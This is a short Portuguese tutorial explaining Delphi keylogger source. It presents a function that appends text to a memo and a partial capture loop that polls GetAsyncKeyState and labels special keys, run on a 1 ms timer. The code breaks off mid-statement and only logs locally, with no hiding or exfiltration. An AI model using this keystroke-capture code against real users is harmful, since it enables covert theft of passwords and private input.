Entendendo Keylogger
Entendendo Keylogger
Ola, Fiz esse tutorial para que todos entendam o código do keylogger e como ele funciona.Vamos lá vou usar de exemplo o código mais conhecido que usa a função coloca. Analisando a função do código:
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end; Bem o que ela realmente faz é adicionar uma string txt no memo1. Como usar Adicione um memo e um timer e coloque a função em baixo de implementation. No timer coloque:
(’Esse teste é da função’); O que ele vai fazer é chamar a função e ela vai adicionar o que está entre os ‘ ‘ no memo. Entendendo o código de captura
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(’ [BACKSPACE] ‘);
9: Coloca(’ [TAB] ‘);
12: Coloca(’ [ALT] ‘);
13: Coloca(’ [ENTER] ‘);
16: Coloca(’ [SHIFT] ‘);
17: Coloca(’ [CONTROL] ‘);
18: Coloca(’ [ALT] ‘);
20: Coloca(’ [CAPS LOCK] ‘);
O que o código vai fazer é o keyloop vai pegar a variável e atribuir um valor a ela.Cada tecla tem o seu valor Decimal ex: Valor Decimal da Tecla Tab é 9 , ele vai converter o valor decimal e vai atribuir o nome que foi colocado entre os ‘ ‘ .
Obs: Não esqueçam de colocar o timer com intervalo 1